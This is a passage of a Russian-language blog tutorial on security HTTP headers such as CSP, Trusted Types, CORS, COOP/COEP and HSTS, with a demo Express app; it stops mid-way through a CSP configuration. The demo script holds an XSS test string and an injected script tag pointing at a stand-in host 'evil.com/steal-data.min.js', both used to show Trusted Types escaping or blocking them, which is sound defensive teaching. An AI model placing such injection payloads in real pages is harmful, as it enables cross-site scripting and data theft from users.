aio350 Jul 21 2021 at 10:41

Памятка и туториал по HTTP-заголовкам, связанным с безопасностью веб-приложений

27 min

30K

Timeweb Cloud corporate blogInformation Security*Website development*JavaScript*Programming*

Доброго времени суток, друзья!

В этой статье я хочу поделиться с вами результатами небольшого исследования, посвященного HTTP-заголовкам, которые связаны с безопасностью веб-приложений (далее — просто заголовки).

Сначала мы с вами кратко разберем основные виды уязвимостей веб-приложений, а также основные виды атак, основанные на этих уязвимостях. Далее мы рассмотрим все современные заголовки, каждый — по отдельности. Это в теоретической части статьи.

В практической части мы реализуем простое Express-приложение, развернем его на Heroku и оценим безопасность с помощью WebPageTest и Security Headers. Также, учитывая большую популярность сервисов для генерации статических сайтов, мы настроим и развернем приложение с аналогичным функционалом на Netlify.

Исходный код приложений находится здесь.

Демо Heroku-приложения можно посмотреть здесь, а Netlify-приложения — здесь.

Основными источниками истины при подготовке настоящей статьи для меня послужили следующие ресурсы:

Заголовки безопасности

Все заголовки условно можно разделить на три группы.

Заголовки для сайтов, на которых обрабатываются чувствительные (sensitive) данные пользователей

Content Security Policy (CSP);
Trusted Types.

Заголовки для всех сайтов

X-Content-Type-Options;
X-Frame-Options;
Cross-Origin Resource Policy (CORP);
Cross-Origin Opener Policy (COOP);
HTTP Strict Transport Security (HSTS).

Заголовки для сайтов с продвинутыми возможностями

Под продвинутыми возможностями в данном случае понимается возможность использования ресурсов сайта другими источниками (origins) или возможность встраивания или внедрения (embedding) сайта в другие приложения. Первое относится к сервисам вроде CDN (Content Delivery Network — сеть доставки и дистрибуции содержимого), второе к сервисам вроде песочниц — специально выделенные (изолированные) среды для выполнения кода. Под источником понимается протокол, хост, домен и порт.

Cross-Origin Resource Sharing (CORS);
Cross-Origin Embedder Policy (COEP).

Угрозы безопасности, существующие в вебе

Защита сайта от внедрения кода (injection vulnerabilities)

Угрозы, связанные с возможностью внедрения кода, возникают, когда непроверенные данные, обрабатываемые приложением, могут оказывать влияние на поведение приложения. В частности, это может привести к выполнению скриптов, управляемых атакующим (принадлежащих ему). Наиболее распространенным видом атаки, связанной с внедрением кода, является межсайтовый скриптинг (Cross-Site Scripting, XSS; к слову, сокращение XSS было выбрано во избежание путаницы с CSS) в различных формах, включая отраженные или непостоянные XSS (reflected XSS), хранимые или постоянные XSS (stored XSS), XSS, основанные на DOM (DOM XSS) и т.д.

XSS может предоставить атакующему полный доступ к пользовательским данным, которые обрабатываются приложением, и к другой информации в пределах источника.

Традиционными способами защиты от XSS являются: автоматическое экранирование шаблонов HTML с помощью специальных инструментов, отказ от использования небезопасных JavaScript API (например, eval() или innerHTML), хранение данных пользователей в другом источнике и обезвреживание или обеззараживание (sanitizing) данных, поступающих от пользователей, например, через заполнение ими полей формы.

Рекомендации

используйте CSP для определения того, какие скрипты могут выполняться в вашем приложении;
используйте Trusted Types для обезвреживания данных, передаваемых в небезопасные API;
используйте X-Content-Type-Options для предотвращения неправильной интерпретации браузером MIME-типов загружаемых ресурсов.

Изоляция сайта

Открытость веба позволяет сайтам взаимодействовать друг с другом способами, которые могут привести к нарушениям безопасности. Это включает в себя отправку "неожиданных" запросов на аутентификацию или загрузку данных из приложения в документ атакующего, что позволяет последнему читать или даже модифицировать эти данные.

Наиболее распространенными уязвимостями, связанными с общей доступностью приложения, являются кликджекинг (clickjacking), межсайтовая подделка запросов (Cross-Site Request Forgery, XSRF), межсайтовое добавление или включение скриптов (Cross-Site Script Inclusion, XSSI) и различные утечки информации между источниками.

Рекомендации

используйте X-Frame-Options для предотвращения встраивания вашего документа в другие приложения;
используйте CORP для предотвращения возможности использования ресурсов вашего сайта другими источниками;
используйте COOP для защиты окон (windows) вашего приложения от взаимодействия с другими приложениями;
используйте CORS для управления доступом к ресурсам вашего сайта из других источников.

Безопасность сайтов со сложным функционалом

Spectre делает любые данные, загруженные в одну и ту же группу контекста просмотра (browsing context group), потенциально общедоступными, несмотря на правило ограничения домена. Браузеры ограничивают возможности, которые могут привести к нарушению безопасности с помощью среды выполнения кода под названием "межсайтовая изоляция" (Cross-Origin Isolation). Это, в частности, позволяет безопасно использовать такие мощные возможности, как SharedArrayBuffer.

Рекомендации

используйте COEP совместно с COOP для обеспечения межсайтовой изоляции вашего приложения.

Шифрование исходящего трафика

Недостаточное шифрование передаваемых данных может привести к тому, что атакующий, в случае перехвата этих данных, получит информацию о взаимодействии пользователей с приложением.

Неэффективное шифрование может быть обусловлено следующим:

использование HTTP вместо HTTPS;
смешанный контент (когда одни ресурсы загружаются по HTTPS, а другие — по HTTP);
куки без атрибута Secure или соответствующего префикса (также имеет смысл определять настройку HttpOnly);
слабая политика CORS.

Рекомендации

используйте HSTS для обслуживания всего контента вашего приложения через HTTPS.

Перейдем к рассмотрению заголовков.

`Content Security Policy (CSP)`

XSS — это атака, когда уязвимость, существующая на сайте, позволяет атакующему внедрять и выполнять свои скрипты. CSP предоставляет дополнительный слой для отражения таких атак посредством ограничения скриптов, которые могут выполняться на странице.

Инженеры из Google рекомендуют использовать строгий режим CSP. Это можно сделать одним из двух способов:

если HTML-страницы рендерятся на сервере, следует использовать основанный на случайном значении (nonce-based) CSP;
если разметка является статической или доставляется из кеша, например, в случае, когда приложение является одностраничным (SPA), следует использовать основанный на хеше (hash-based) CSP.

Пример использования nonce-based CSP:

Content-Security-Policy:
 script-src 'nonce-{RANDOM1}' 'strict-dynamic' https: 'unsafe-inline';
 object-src 'none';
 base-uri 'none';

Использование CSP

Обратите внимание: CSP является дополнительной защитой от XSS-атак, основная защита состоит в обезвреживании данных, вводимых пользователем.

1. Nonce-based CSP

nonce — это случайное число, которое используется только один раз. Если у вас нет возможности генерировать такое число для каждого ответа, тогда лучше использовать hash-based CSP.

Генерируем nonce на сервере для скрипта в ответ на каждый запрос и устанавливаем следующий заголовок:

Content-Security-Policy:
 script-src 'nonce-{RANDOM1}' 'strict-dynamic' https: 'unsafe-inline';
 object-src 'none';
 base-uri 'none';

Затем в разметке устанавливаем каждому тегу script атрибут nonce со значением строки {RANDOM1}:

<script nonce="{RANDOM1}" src="https://example.com/script1.js"></script>
<script nonce="{RANDOM1}">
 // ...
</script>

Хорошим примером использования nonce-based CSP является сервис Google Фото.

2. Hash-based CSP

Сервер:

Content-Security-Policy:
 script-src 'sha256-{HASH1}' 'sha256-{HASH2}' 'strict-dynamic' https: 'unsafe-inline';
 object-src 'none';
 base-uri 'none';

В данном случае можно использовать только встроенные скрипты, поскольку большинство браузеров в настоящее время не поддерживает хеширование внешних скриптов.

<script>
 // встроенный script1
</script>
<script>
 // встроенный script2
</script>

CSP Evaluator — отличный инструмент для оценки CSP.

Заметки:

https: — это резервный вариант для Firefox, а unsafe-inline — для очень старых браузеров;
директива frame-ancestors защищает сайт от кликджекинга, запрещая другим сайтам использовать контент вашего приложения. X-Frame-Options является более простым решением, но frame-ancestors позволяет выполнять тонкую настройку разрешенных источников;
CSP можно использовать для обеспечения загрузки всех ресурсов по HTTPS. Это не слишком актуально, поскольку в настоящее время большинство браузеров блокирует смешанный контент;
CSP можно использовать в режиме только для чтения (report-only mode);
CSP может быть установлен в разметке как мета-тег.

В рассматриваемом заголовке можно использовать следующие директивы:

Директива	Описание
base-uri	Определяет базовый `URI` для относительных
default-src	Определяет политику загрузки ресурсов всех типов при отсутствии специальной директивы (политику по умолчанию)
script-src	Определяет скрипты, которые могут выполняться на странице
object-src	Определяет, откуда могут загружаться ресурсы — плагины
style-src	Определяет стили, которые могут применяться на странице
img-src	Определяет, откуда могут загружаться изображения
media-src	Определяет, откуда могут загружаться аудио и видеофайлы
child-src	Определяет, откуда могут загружаться фреймы
frame-ancestors	Определяет, где (в каких источниках) ресурс может загружаться во фреймы
font-src	Определяет, откуда могут загружаться шрифты
connect-src	Определяет разрешенные `URI`
manifest-src	Определяет, откуда могут загружаться файлы манифеста
form-action	Определяет, какие `URI` могут использоваться для отправки форм (в атрибуте `action`)
sandbox	Определяет политику песочницы (sandbox policy) `HTML`, которую агент пользователя применяет к защищенному ресурсу
script-nonce	Определяет, что для выполнения скрипта требуется наличие уникального значения
plugin-types	Определяет набор плагинов, которые могут вызываться защищенным ресурсом посредством ограничения типов встраиваемых ресурсов
reflected-xss	Используется для активации/деактивации эвристических методов браузера для фильтрации или блокировки отраженных XSS-атак
block-all-mixed-content	Запрещает загрузку смешанного контента
upgrade-insecure-requests	Определяет, что небезопасные ресурсы (загружаемые по `HTTP`) должны загружаться по `HTTPS`
report-to	Определяет группу (указанную в заголовке `Report-To`), в которую отправляются отчеты о нарушениях политики

Возможные значения директив для нестрогого режима CSP:

'self' — ресурсы могут загружаться только из данного источника;
'none' — запрет на загрузку ресурсов;
* — ресурсы могут загружаться из любого источника;
example.com — ресурсы могут загружаться только из example.com.

Content-Security-Policy: default-src 'self'; img-src *; media-src media1.com media2.com; script-src example.com

В данном случае изображения могут быть загружены из любого источника, другие медиафайлы — только с media1.com и media2.com (исключая их поддомены), скрипты — только с example.com.

`Trusted Types`

XSS, основанный на DOM — это атака, когда вредоносный код передается в приемник, который поддерживает динамическое выполнение кода, такой как eval() или innerHTML.

Trusted Types предоставляет инструменты для создания, модификации и поддержки приложений, полностью защищенных от DOM XSS. Этот режим может быть включен через CSP. Он делает JavaScript-код безопасным по умолчанию посредством ограничения значений, принимаемых небезопасными API, специальным объектом — Trusted Type.

Для создания таких объектов можно определить политики, которые проверяют соблюдение правил безопасности (таких как экранирование и обезвреживание) перед записью данных в DOM. Затем эти политики помещаются в код, который может представлять интерес для DOM XSS.

Пример использования

Включаем Trusted Types для опасных приемников DOM:

Content-Security-Policy: require-trusted-types-for 'script'

В настоящее время единственным доступным значением директивы require-trusted-types-for является script.

Разумеется, Trusted Types можно комбинировать с другими директивами CSP:

Content-Security-Policy:
 script-src 'nonce-{RANDOM1}' 'strict-dynamic' https: 'unsafe-inline';
 object-src 'none';
 base-uri 'none';
 require-trusted-types-for 'script';

C помощью директивы trusted-types можно ограничить пространство имен для политик Trusted Types, например, trusted-types myPolicy.

Определяем политику:

// проверяем поддержку
if (window.trustedTypes && trustedTypes.createPolicy) {
 // создаем политику
 const policy = trustedTypes.createPolicy('escapePolicy', {
   createHTML: (str) => str.replace(/\</g, '&lt;').replace(/>/g, '&gt;')
 })
}

Применяем политику:

// будет выброшено исключение
el.innerHTML = 'some string'
// ок
const escaped = policy.createHTML('<img src=x onerror=alert(1)>')
el.innerHTML = escaped // '&lt;img src=x onerror=alert(1)&gt;'

Директива require-trusted-types-for 'script' делает использование доверенного типа обязательным. Любая попытка использовать строку в небезопасном API завершится ошибкой.

Подробнее о Trusted Types можно почитать здесь.

`X-Content-Type-Options`

Когда вредоносный HTML-документ обслуживается вашим доменом (например, когда изображение, загружаемое в сервис хранения фотографий, содержит валидную разметку), некоторые браузеры могут посчитать его активным документом и разрешить ему выполнять скрипты в контексте приложения.

X-Content-Type-Options: nosniff заставляет браузер проверять корректность MIME-типа в заголовке полученного ответа Content-Type. Рекомендуется устанавливать такой заголовок для всех загружаемых ресурсов.

X-Content-Type-Options: nosniff
Content-Type: text/html; charset=utf-8

`X-Frame-Options`

Если вредоносный сайт будет иметь возможность встраивать ваше приложение как iframe, это может предоставить атакующему возможность вызывать непреднамеренные действия пользователей через кликджекинг. В некоторых случаях это также позволяет атакующему изучать содержимое документа.

X-Frame-Options является индикатором того, должен ли ваш сайт рендериться в <frame>, <iframe>, <embed> или <object>.

Для того, чтобы разрешить встраивание только определенных страниц сайта, используется директива frame-ancestors заголовка CSP.

Примеры использования

Полностью запрещаем внедрение:

X-Frame-Options: DENY

Разрешаем создание фреймов только на собственном сайте:

X-Frame-Options: SAMEORIGIN

Обратите внимание: по умолчанию все документы являются встраиваемыми.

`Cross-Origin-Resource-Policy (CORP)`

Атакующий может внедрить ресурсы вашего сайта в свое приложение с целью получения информации о вашем сайте.

CORP определяет, какие сайты могут внедрять ресурсы вашего приложения. Данный заголовок принимает 1 из 3 возможных значений: same-origin, same-site и cross-origin.

Для сервисов вроде CDN рекомендуется использовать значение cross-origin, если для них не определен соответствующий заголовок CORS.

Cross-Origin-Resource-Policy: cross-origin

same-origin разрешает внедрение ресурсов страницами, принадлежащими к одному источнику. Данное значение применяется в отношении чувствительной информации о пользователях или ответов от API, которые рассчитаны на использование в пределах данного источника.

Обратите внимание: ресурсы все равно будут доступны для загрузки, поскольку CORP ограничивает только внедрение этих ресурсов в другие источники.

Cross-Origin-Resource-Policy: same-origin

same-site предназначен для ресурсов, которые используются не только доменом (как в случае с same-origin), но и его поддоменами.

Cross-Origin-Resource-Policy: same-site

`Cross-Origin-Opener-Policy (COOP)`

Если сайт атакующего может открывать другой сайт в поп-апе (всплывающем окне), то у атакующего появляется возможность для поиска межсайтовых источников утечки информации. В некоторых случаях это также позволяет реализовать атаку с использованием побочных каналов, описанную в Spectre.

Заголовок Cross-Origin-Opener-Policy позволяет запретить открытие сайта с помощью метода window.open() или ссылки target="_blank" без rel="noopener". Как результат, у того, кто попытается открыть сайт такими способами, не будет ссылки на сайт, и он не сможет с ним взаимодействовать.

Значение same-origin рассматриваемого заголовка позволяет полностью запретить открытие сайта в других источниках.

Cross-Origin-Opener-Policy: same-origin

Значение same-origin-allow-popups также защищает документ от открытия в поп-апах других источников, но позволяет приложению взаимодействовать с собственными попапами.

Cross-Origin-Opener-Policy: same-origin-allow-popups

unsafe-none является значением по умолчанию, оно разрешает открытие сайта в виде поп-апа в других источниках.

Cross-Origin-Opener-Policy: unsafe-none

Мы можем получать отчеты от COOP:

Cross-Origin-Opener-Policy: same-origin; report-to="coop"

COOP также поддерживает режим report-only, позволяющий получать отчеты о нарушениях без их блокировки.

Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop"

CORS — это не заголовок, а механизм, используемый браузером для предоставления доступа к ресурсам приложения.

По умолчанию браузеры используют политику одного источника или общего происхождения, которая запрещает доступ к таким ресурсам из других источников. Например, при загрузке изображения из другого источника, даже несмотря на его отображение на странице, JavaScript-код не будет иметь к нему доступа. Провайдер ресурса может предоставить такой доступ через настройку CORS с помощью двух заголовков:

Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Credentials: true

Использование CORS

Начнем с того, что существует два типа HTTP-запросов. В зависимости от деталей запроса он может быть классифицирован как простой или сложный (запрос, требующий отправки предварительного запроса).

Критериями простого запроса является следующее:

методом запроса является GET, HEAD или POST;
кастомными заголовками могут быть только Accept, Accept-Language, Content-Language и Content-Type;
значением заголовка Content-Type может быть только application/x-www-form-urlencoded, multipart/form-data или text/plain.

Все остальные запросы считаются сложными.

Простой запрос

В данном случае браузер отправляет запрос к другому источнику с заголовком Origin, значением которого является источник запроса:

Get / HTTP/1.1
Origin: https://example.com

Ответ:

Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Credentials: true

Access-Control-Allow-Origin: https://example.com означает, что https://example.com имеет доступ к содержимому ответа. Если значением данного заголовка является *, ресурсы будут доступны любому сайту. В этом случае полномочия (credentials) не требуются;
Access-Control-Allow-Credentials: true означает, что запрос на получение ресурсов должен содержать полномочия (куки). При отсутствии полномочий в запросе, даже при наличии источника в заголовке Access-Control-Allow-Origin, запрос будет отклонен.

Сложный запрос

Перед сложным запросом выполняется предварительный. Он выполняется методом OPTIONS для определения того, может ли быть отправлен основной запрос:

OPTIONS / HTTP/1.1
Origin: https://example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: X-PINGOTHER, Content-Type

Access-Control-Request-Method: POST — последующий запрос будет отправлен методом POST;
Access-Control-Request-Headers: X-PINGOTHER, Content-Type — последующий запрос будет отправлен с заголовками X-PINGOTHER и Content-Type.

Ответ:

Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: POST, GET, OPTIONS
Access-Control-Allow-Headers: X-PINGOTHER, Content-Type
Access-Control-Max-Age: 86400

Access-Control-Allow-Methods: POST, GET, OPTIONS — последующий запрос может выполняться указанными методами;
Access-Control-Allow-Headers: X-PINGOTHER, Content-Type — последующий запрос может содержать указанные заголовки;
Access-Control-Max-Age: 86400 — результат сложного запроса будет записан в кеш и будет там храниться на протяжении 86400 секунд.

`Cross-Origin-Embedder-Policy (COEP)`

Для предотвращения кражи ресурсов из других источников с помощью атак, описанных в Spectre, такие возможности, как SharedArrayBuffer, performance.measureUserAgentSpecificMemory() или JS Self Profiling API, по умолчанию отключены.

Cross-Origin-Embedder-Policy: require-corp запрещает документам и воркерам (workers) загружать изображения, скрипты, стили, фреймы и другие ресурсы до тех пор, пока доступ к ним не разрешен с помощью заголовков CORS или CORP. COEP может использоваться совместно с COOP для настройки межсайтовой изоляции документа.

На данный момент require-corp является единственным доступным значением рассматриваемого заголовка, кроме unsafe-none, которое является значением по умолчанию.

Полная межсайтовая изоляция приложения

Cross-Origin-Embedder-Policy: require-corp
Cross-Origin-Opener-Policy: same-origin

Изоляция с отчетами о блокировках

Cross-Origin-Embedder-Policy: require-corp; report-to="coep"

Только отчеты

Cross-Origin-Embedder-Policy-Report-Only: require-corp; report-to="coep"

`HTTP Strict Transport Security (HSTS)`

Данные, передаваемые по HTTP, не шифруются, что делает их доступными для перехватчиков на уровне сети.

Заголовок Strict-Transport-Security запрещает использование HTTP. При наличии данного заголовка браузер будет использовать HTTPS без перенаправления на HTTP (при отсутствии ресурса по HTTPS) в течение указанного времени (max-age).

Strict-Transport-Security: max-age=31536000

Директивы

max-age — время в секундах, в течение которого браузер должен "помнить", что сайт доступен только по HTTPS;
includeSubDomains — распространяет политику на поддомены.

Другие заголовки

`Referrer-Policy`

Заголовок Referrer-Policy определяет содержание информации о реферере, указываемой в заголовке Referer. Заголовок Referer содержит адрес запроса, например, адрес предыдущей страницы, или адрес загруженного изображения, или другого ресурса. Он используется для аналитики, логирования, оптимизации кеша и т.д. Однако он также может использоваться для слежения или кражи информации, выполнения побочных эффектов, приводящих к утечке чувствительных пользовательских данных и т.д.

Referrer-Policy: no-referrer

Возможные значения

Значение	Описание
no-referrer	Заголовок `Referer` не включается в запрос
no-referrer-when-downgrade	Значение по умолчанию. Реферер указывается при выполнении запроса между `HTTPS` и `HTTPS`, но не указывается при выполнении запроса между `HTTPS` и `HTTP`
origin	Указывается только источник запроса (например, реферером документа `https://example.com/page.html` будет `https://example.com`)
origin-when-cross-origin	При выполнении запроса в пределах одного источника указывается полный `URL`, иначе указывается только источник (как в предыдущем примере)
same-origin	При выполнении запроса в пределах одного источника указывается источник, в противном случае, реферер не указывается
strict-origin	Похоже на `no-referrer-when-downgrade`, но указывается только источник
strict-origin-when-cross-origin	Сочетание `strict-origin` и `origin-when-cross-origin`
unsafe-url	Всегда указывается полный `URL`

Обратите внимание: данный заголовок не поддерживается мобильным Safari.

`Clear-Site-Data`

Заголовок Clear-Site-Data запускает очистку хранящихся в браузере данных (куки, хранилище, кеш), связанных с источником. Это предоставляет разработчикам контроль над данными, локально хранящимися в браузере пользователя. Данный заголовок может использоваться, например, в процессе выхода пользователя из приложения (logout) для очистки данных, хранящихся на стороне клиента.

Clear-Site-Data: "*"

Возможные значения:

Значение	Описание
"cache"	Сообщает браузеру, что сервер хочет очистить локально кешированные данные для источника ответа на запрос
"cookies"	Сообщает браузеру, что сервер хочет удалить все куки для источника. Данные для аутентификации также будут очищены. Это влияет как на сам домен, так и на его поддомены
"storage"	Сообщает браузеру, что сервер хочет очистить все хранилища браузера (`localStorage`, `sessionStorage`, `IndexedDB`, регистрация сервис-воркеров — для каждого зарегистрированного СВ вызывается метод `unregister()`, `AppCache`, `WebSQL`, данные `FileSystem API`, данные плагинов)
"executionContexts"	Сообщает браузеру, что сервер хочет перезагрузить все контексты браузера (в настоящее время почти не поддерживается)
"*"	Сообщает браузеру, что сервер хочет удалить все данные

Обратите внимание: данный заголовок не поддерживается Safari.

`Permissions-Policy`

Данный заголовок является заменой заголовка Feature-Policy и предназначен для управления доступом к некоторым продвинутым возможностям.

Permissions-Policy: camera=(), fullscreen=*, geolocation=(self "https://example.com" "https://another.example.com")

В данном случае мы полностью запрещаем доступ к камере (видеовходу) устройства, разрешаем доступ к методу requestFullScreen() (для включения полноэкранного режима воспроизведения видео) для всех, а к информации о местонахождении устройства — только для источников example.com и another.example.com.

Возможные директивы

Директива	Описание
accelerometer	Управляет тем, может ли текущий документ собирать информацию об акселерации (проекции кажущегося ускорения) устройства с помощью интерфейса `Accelerometer`
ambient-light-sensor	Управляет тем, может ли текущий документ собирать информацию о количестве света в окружающей устройство среде с помощью интерфейса `AmbientLightSensor`
autoplay	Управляет тем, может ли текущий документ автоматически воспроизводить медиа, запрошенное через интерфейс `HTMLMediaElement`
battery	Определяет возможность использования `Battery Status API`
camera	Определяет возможность использования видеовхода устройства
display-capture	Определяет возможность захвата экрана с помощью метода `getDisplayMedia()`
document-domain	Определяет возможность установки `document.domain`
encrypted-media	Определяет возможность использования `Encrypted Media Extensions API (EME)`
execution-while-not-rendered	Определяет возможность выполнения задач во фреймах без их рендеринга (например, когда они скрыты или их свойство `diplay` имеет значение `none`)
execution-while-out-of-viewport	Определяет возможность выполнения задач во фреймах, находящихся за пределами области просмотра
fullscreen	Определяет возможность использования метода `requestFullScreen()`
geolocation	Определяет возможность использования `Geolocation API`
gyroscope	Управляет тем, может ли текущий документ собирать информацию об ориентации устройства с помощью `Gyroscope API`
layout-animations	Определяет возможность показа анимации
legacy-image-formats	Определяет возможность отображения изображений устаревших форматов
magnetometer	Управляет тем, может ли текущий документ собирать информацию об ориентации устройства с помощью `Magnetometer API`
microphone	Определяет возможность использования аудиовхода устройства
midi	Определяет возможность использования `Web MIDI API`
navigation-override	Определяет возможность управления пространственной навигацией (spatial navigation) механизмами, разработанными автором приложения
oversized-images	Определяет возможность загрузки и отображения больших изображений
payment	Определяет возможность использования `Payment Request API`
picture-in-picture	Определяет возможность воспроизведения видео в режиме "картинка в картинке"
publickey-credentials-get	Определяет возможность использования `Web Authentication API` для извлечения публичных ключей, например, через `navigator.credentials.get()`
sync-xhr	Определяет возможность использования `WebUSB API`
vr	Определяет возможность использования `WebVR API`
wake-lock	Определяет возможность использования `Wake Lock API` для запрета переключения устройства в режим сохранения энергии
screen-wake-lock	Определяет возможность использования `Screen Wake Lock API` для запрета блокировки экрана устройства
web-share	Определяет возможность использования `Web Share API` для передачи текста, ссылок, изображений и другого контента
xr-spatial-tracking	Определяет возможность использования `WebXR Device API` для взаимодействия с сессией `WebXR`

Возможные значения

=() — полный запрет;
=* — полный доступ;
(self "https://example.com") — предоставление разрешения только указанному источнику.

Спецификация рассматриваемого заголовка находится в статусе рабочего черновика, поэтому его поддержка оставляет желать лучшего:

Перейдем к практической части.

Разработка Express-приложения

Создаем директорию для проекта, переходим в нее и инициализируем проект:

mkdir secure-app
cd !$

yarn init -yp
# или
npm init -y

Формируем структуру проекта:

- public
 - favicon.png
 - index.html
 - style.css
 - script.js
- index.js
- .gitignore
- ...

Иконку можно найти здесь.

Набросаем какой-нибудь незамысловатый код.

В public/index.html мы подключаем иконку, стили, скрипт, Google-шрифты, Bootstrap и Boostrap Icons через CDN, создаем элементы для заголовка, даты, времени и кнопок:

<!DOCTYPE html>
<html lang="ru">
 <head>
   <meta charset="UTF-8" />
   <meta http-equiv="X-UA-Compatible" content="IE=edge" />
   <meta name="viewport" content="width=device-width, initial-scale=1.0" />
   <title>Secure App</title>
   <link rel="icon" href="favicon.png" />
   <link rel="preconnect" href="https://fonts.googleapis.com" />
   <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin />
   <link
     href="https://fonts.googleapis.com/css2?family=Montserrat&display=swap"
     rel="stylesheet"
   />
   <link
     href="https://cdn.jsdelivr.net/npm/bootstrap@5.0.1/dist/css/bootstrap.min.css"
     rel="stylesheet"
     integrity="sha384-+0n0xVW2eSR5OomGNYDnhzAbDsOXxcvSN1TPprVMTNDbiYZCxYbOOl7+AMvyTG2x"
     crossorigin="anonymous"
   />
   <link
     rel="stylesheet"
     href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.5.0/font/bootstrap-icons.css"
   />
   <link rel="stylesheet" href="style.css" />
 </head>
 <body>
   <div class="container">
     <h1>Secure App</h1>
     <p>
       <i class="bi bi-calendar"></i>
       Сегодня <time class="date"></time>
     </p>
     <p>
       <i class="bi bi-clock"></i>
       Сейчас <time class="time"></time>
     </p>
     <div class="buttons">
       <button class="btn btn-danger btn-stop">Остановить таймер</button>
       <button class="btn btn-primary btn-add">Добавить шаблон</button>
       <button class="btn btn-success btn-get">Получить заголовки</button>
     </div>
   </div>

   <script src="script.js"></script>
 </body>
</html>

Добавляем стили в public/style.css

* {
 margin: 0;
 padding: 0;
 box-sizing: border-box;
 font-family: 'Montserrat', sans-serif;
}

body {
 min-height: 100vh;
 display: grid;
 place-content: center;
 text-align: center;
}

h1 {
 margin: 0.5em 0;
 text-transform: uppercase;
 font-size: 3rem;
}

p {
 font-size: 1.15rem;
}

.buttons {
 margin: 0.5em 0;
 display: flex;
 flex-direction: column;
 align-items: center;
 gap: 0.5em;
}

button {
 cursor: pointer;
}

pre {
 margin: 0.5em 0;
 white-space: pre-wrap;
 text-align: left;
}

В public/script.js мы делаем следующее:

определяем политику доверенных типов;
создаем утилиты для получения ссылки на DOM-элемент, форматирования даты и времени и регистрации обработчика (по умолчанию одноразового и запускающего колбэк при возникновении события click);
получаем ссылки на DOM-элементы;
определяем настройки для форматирования даты и времени;
добавляем дату и время в качестве текстового содержимого соответствующих элементов;
определяем колбэки для обработчиков: для остановки таймера, добавления HTML-шаблона с потенциально вредоносным кодом и получения HTTP-заголовков;
регистрируем обработчики.

// политика доверенных типов
let policy
if (window.trustedTypes && trustedTypes.createPolicy) {
 policy = trustedTypes.createPolicy('escapePolicy', {
   createHTML: (str) => str.replace(/\</g, '&lt').replace(/>/g, '&gt')
 })
}

// утилиты
// для получения ссылки на DOM-элемент
const getEl = (selector, parent = document) => parent.querySelector(selector)
// для форматирования даты и времени
const getDate = (options, locale = 'ru-RU', date = Date.now()) =>
 new Intl.DateTimeFormat(locale, options).format(date)
// для регистрации обработчика (по умолчанию одноразового и запускающего колбэк при возникновении события `click`)
const on = (el, cb, event = 'click', options = { once: true }) =>
 el.addEventListener(event, cb, options)

// DOM-элементы
const containerEl = getEl('.container')
const dateEl = getEl('.date', containerEl)
const timeEl = getEl('.time', containerEl)
const stopBtnEl = getEl('.btn-stop', containerEl)
const addBtnEl = getEl('.btn-add', containerEl)
const getBtnEl = getEl('.btn-get', containerEl)

// настройки для даты
const dateOptions = {
 weekday: 'long',
 day: 'numeric',
 month: 'long',
 year: 'numeric'
}
// настройки для времени
const timeOptions = {
 hour: 'numeric',
 minute: 'numeric',
 second: 'numeric'
}

// добавляем текущую дату в качестве текстового содержимого соответствующего элемента
dateEl.textContent = getDate(dateOptions)
// добавляем текущее время в качестве текстового содержимого соответствующего элемента каждую секунду
const timerId = setInterval(() => {
 timeEl.textContent = getDate(timeOptions)
}, 1000)

// колбэки для обработчиков (в каждом колбэке происходит удаление соответствующей кнопки)
// для остановки таймера
const stopTimer = () => {
 clearInterval(timerId)
 stopBtnEl.remove()
}
// для добавления HTML-шаблона с потенциально вредоносным кодом
const addTemplate = () => {
 const evilTemplate = `<script src="https://evil.com/steal-data.min.js"></script>`
 // при попытке вставить необезвреженный шаблон будет выброшено исключение
 // Uncaught TypeError: Failed to execute 'insertAdjacentHTML' on 'Element': This document requires 'TrustedHTML' assignment.
 containerEl.insertAdjacentHTML('beforeend', policy.createHTML(evilTemplate))
 addBtnEl.remove()
}
// для получения HTTP-заголовков
const getHeaders = () => {
 const req = new XMLHttpRequest()
 req.open('GET', location, false)
 req.send(null)
 const headers = req.getAllResponseHeaders()
 const preEl = document.createElement('pre')
 preEl.textContent = headers
 containerEl.append(preEl)
 getBtnEl.remove()
}

// регистрируем обработчики
on(stopBtnEl, stopTimer)
on(addBtnEl, addTemplate)
on(getBtnEl, getHeaders)

Устанавливаем зависимости.

Для продакшна:

yarn add express

Для разработки:

yarn add -D nodemon open-cli

express — Node.js-фреймворк, упрощающий разработку сервера;
nodemon — утилита для запуска сервера для разработки и его автоматического перезапуска при обновлении соответствующего файла;
open-cli — утилита для автоматического открытия вкладки браузера по указанному адресу.

Определяем в package.json команды для запуска серверов:

"scripts": {
 "dev": "open-cli http://localhost:3000 && nodemon index.js",
 "start": "node index.js"
}

Приступаем к реализации сервера.

Справедливости ради следует отметить, что в экосистеме Node.js имеется специальная утилита для установки HTTP-заголовков, связанных с безопасностью веб-приложений — Helmet. Шпаргалку по работе с этой утилитой вы найдете здесь.

Также существует специальная утилита для работы с CORS — Cors. Шпаргалку по работе с этой утилитой вы найдете здесь.

Большинство заголовков можно определить сразу:

// предотвращаем `MIME sniffing`
'X-Content-Type-Options': 'nosniff',

// для старых браузеров, плохо поддерживающих `CSP`
'X-Frame-Options': 'DENY',
'X-XSS-Protection': '1; mode=block',

// по умолчанию браузеры блокируют CORS-запросы
// дополнительные CORS-заголовки
'Cross-Origin-Resource-Policy': 'same-site',
'Cross-Origin-Opener-Policy': 'same-origin-allow-popups',
'Cross-Origin-Embedder-Policy': 'require-corp',

// запрещаем включать информацию о реферере в заголовок `Referer`
'Referrer-Policy': 'no-referrer',

// инструктируем браузер использовать `HTTPS` вместо `HTTP`
// 31536000 секунд — это 365 дней
'Strict-Transport-Security': 'max-age=31536000; includeSubDomains'

Также добавим заголовок Expect-CT:

// 86400 секунд — это 1 сутки
'Expect-CT': 'enforce, max-age=86400'

Блокируем доступ к камере, микрофону, информации о местонахождении и Payment Request API:

'Permissions-Policy': 'camera=(), microphone=(), geolocation=(), payment=()'

Директивы для CSP:

'Content-Security-Policy': `
 // запрещаем загрузку плагинов
 object-src 'none';
 // разрешаем выполнение только собственных скриптов
 script-src 'self';
 // разрешаем загрузку только собственных изображений
 img-src 'self';
